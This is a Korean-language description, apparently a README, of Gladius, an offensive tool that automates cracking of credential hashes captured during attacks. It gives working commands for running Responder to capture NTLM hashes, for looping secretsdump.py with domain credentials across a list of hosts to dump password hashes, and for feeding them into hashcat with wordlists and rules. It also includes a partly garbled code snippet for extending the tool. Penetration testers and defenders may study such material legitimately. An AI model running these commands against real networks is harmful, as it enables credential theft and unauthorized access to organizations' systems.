
자동화된 Responder/secretsdump.py 크래킹
저자: Cory Duplantis (@ctfhacker) / 블로그
Gladius는 공격 중 다양한 소스로부터 자격 증명을 크래킹하는 자동화된 방법을 제공합니다. 현재 Responder, secretsdump.py, smart_hashdump에서 해시를 크래킹합니다.
pip install watchdog
git clone https://www.github.com/praetorian-inc/gladius
cd gladius
git clone https://www.github.com/praetorian-inc/Hob0Rules
cp Hob0Rules/* .
rm -rf Hob0Rules/
python gladius.py --hashcat ../hashcat/hashcat-cli64.bin -r d3adhob0.rule -w rockyou.txt
이제 평소대로 Responder 세션을 시작합니다.
cd /usr/share/responder
python Responder.py -i YOUR_IP -I YOUR_INTERFACE
secretsdump 결과를 Gladius로 보내어 파싱 및 크래킹을 수행합니다.
for ip in $(cat ips); do secretsdump.py DOMAIN/username:password@$ip > /usr/share/responder/secretsdump_$ip; done
$ python gladius.py -h
usage: gladius.py [-h] [-v] [--responder-dir RESPONDER_DIR]
[--hashcat HASHCAT] [-r RULESET] [-w WORDLIST] [--no-art]
optional arguments:
-h, --help show this help message and exit
-v, --verbose Increased output verbosity
--responder-dir RESPONDER_DIR
Directory to watch for Responder output
--hashcat HASHCAT Path to hashcat binary
-r RULESET, --ruleset RULESET
Ruleset to use with hashcat
-w WORDLIST, --wordlist WORDLIST
Wordlist to use with hashcat
--no-art Disable the sword ascii art for displaying credentials
and default to only text.
기본 규칙 세트는 Praetorian의 Julian Dunning(@hob0man)이 만든 더 나은 best64 규칙 세트입니다. 이 주제에 대한 그의 프레젠테이션은 아래에서 확인할 수 있습니다:
Responder 로그에서 *NTLM*txt 파일을 감시합니다. 발견된 각 파일에 대해 출력을 파싱하고, 새 해시를 포함하는 임시 파일을 생성한 후 올바른 해시 유형으로 hashcat에 전달합니다.
To watch for NTLM hashes from hashdump, simply create a file with NTLM hashes from hashdump and drop a file with `hashdump` in its name in the Responder directory.
Note: Will have to manually examine output in `./engagement/responderhander_out/*` to check for results from `hashdump` cracking.
hashcat의 출력을 감시하고 다음 형식으로 파일을 내보냅니다:
Domain Username Password
Gladius를 확장하려면:
GladiusHandler를 상속하는 새로운 Handler 클래스를 생성합니다.'*')에 대한 정규식 일치 목록을 추가합니다.process(self, event) 함수를 생성합니다.class YourHandler(GladiusHandler):
patterns = ['*']
def process(self, event):
data = self.get_lines(event)
# Perform work on data
핸들러 목록에 자신을 추가합니다.
handlers = [
(ResponderHandler, args.responder,
(CredsHandler, ResponderHandler().outpath),
(YourHandler, CredsHandler().outpath),
(YourHandler, '/tmp'),
]